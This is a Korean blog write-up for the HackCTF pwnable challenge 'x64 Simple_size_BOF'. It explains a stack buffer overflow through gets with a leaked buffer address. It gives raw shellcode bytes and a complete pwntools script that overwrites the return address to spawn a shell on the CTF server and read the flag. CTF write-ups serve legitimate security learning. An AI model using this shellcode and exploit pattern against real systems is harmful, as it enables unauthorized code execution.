본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) x64 Simple_size_BOF 풀이

by snwo 2020. 3. 21.

문제를 다운받고, ida 로 열어보면,

문자열을 출력하고, buf 의 주소를 알려주고, buf 에 gets 로 입력을 받는다.


요로케


별다른 메모리보호기법이 적용되어있지 않다.

함수목록에는 별다른함수가 없고, 버퍼의 주소를 알기때문에,

버퍼에 쉘코드를 작성한뒤, DUMMY 를 채워넣어 ret address 를 조작해보자


[ 1. 쉘코드 ]

 

https://blog.kimtae.xyz/28

 

쉘코드 메모

32bit (1)가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 \x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe..

blog.kimtae.xyz

이 블로그에서 64bit 환경 쉘코드를 찾을 수 있었다.


[ 2. ret address ]

 

buffer = [rbp-0x6d30] 

낮은주소 [rbp-0x6d30] [rbp] [ret address] 높은주소

 

버퍼시작주소 + 0x6d30 + 8 (rbp크기) = ret address

 


이제 payload 를 작성해보자

쉘코드의 크기는 27byte 이므로 DUMMY 값의 크기는

0x6d30-27 = 0x6d15 + 8 (rbp크기)

 

payload = 쉘코드 + 0x6d15 + 8 + buf주소


from pwn import *
r=remote("ctf.j0n9hyun.xyz",3005)
r.recvuntil(": ")
bufaddress=int(r.recvline().strip(),16)
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload=""
payload+=shellcode
payload+='A'*0x6d15
payload+='B'*8
payload+=p64(bufaddress)
r.sendline(payload)
r.interactive()

cat flag